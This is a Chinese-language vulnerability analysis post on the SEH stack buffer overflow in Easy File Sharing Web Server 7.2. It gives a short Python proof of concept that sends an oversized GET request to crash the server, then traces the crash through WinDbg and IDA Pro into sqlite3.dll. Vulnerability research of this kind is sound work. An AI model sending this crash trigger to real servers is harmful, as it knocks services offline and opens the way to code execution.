Easy File Sharing Web Server 7.2 – GET Buffer Overflow (SEH)

https://www.exploit-db.com/exploits/39008

简化版的 poc.py,直接发送4500个 ‘A’ 触发栈溢出

import socket
import sys
host = str(sys.argv[1])
port = int(sys.argv[2])
a = socket.socket()
print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))
buff= "A"*4500
# GET
a.send("GET " + buff + " HTTP/1.0\r\n\r\n")
a.close()
print "Done..."

Windbg加载程序,g运行,然后执行poc代码,查看断下的信息

Cmp [eax+4Ch]与某个值比较时出错,此时eax = 0x41414141是poc中发送的大量’A’

按g继续执行,此时eip=0x41414141,kb查看栈调用情况,是异常处理函数ExecuteHandler

在程序fsws中的sqlite3_declare_vtab函数调用出错,跳转到sqlite3_errcode,然后调用SEH异常处理函数,导致eip=0x41414141

输入lmf查看程序加载的模块,根据错误信息,定位到sqlite3.dll中

根据dll路径idapro加载sqlite3.dll,跳转到出错地址0x61c277f6 cmp语句

F5查看伪代码,此处[eax+4Ch] == a1+76,而eax的值a1是函数的参数,上溯

Sqlite3.dll地址0x61c6286c

Idapro跳到此地址,查看伪代码,调用的是函数sqlite3SafetyCheckOk(a1),其中参数a1没有被赋值,仍然是传递过来的,需要继续上溯

根据kb显示的调用,下一个要上溯的位置位于fsws.exe中,地址0x4968f4

idapro跳转,参数为this指针,是sub_4968D0的第一个参数

Windbg重新载入fsws.exe,下断bp 4968D0,按g运行,执行poc

执行测试发现最多三次g,第四次g会跳到cmp出错位置

重新载入,下断,执行三次g

根据函数,参数由eax传递,eax是从[ecx]指向的地址传递的

dc eax查看值,出错的是sql语句,select * from sqltable where name =’AA..AA’

根据关键字,在idapro strings中查找,有个比较匹配的如下

此段字符串有两处调用

第一处0x49758A处call sprintf

第二处 0x49774E call sprintf

在两处call地址处下断点,重新载入执行,断在0x49774e处

输入的A值保存在edi中

P歩过执行后,查看地址0x1d35fd4内容,已经拼接为sql查询语句

继续p单步执行,到call,此时调用的是之前分析的call sub_4968D0函数

t进入,p单步执行,知道mov eax, [ecx]指令

对sqlite3_prepare_v2的参数入栈操作

而此时[ecx] = 0x41414141

地址0x41414141是无效地址

地址0x4968EF处call sqlite3_prepare_v2函数,程序进入sqlite3.dll中执行

对应Windbg中跳转到sqlite3.dll的0x61c62ac4地址

而eax = 0x41414141

从而在sqlite3调用sqlite3SafetyCheckOk()函数时报错

您可能还喜欢...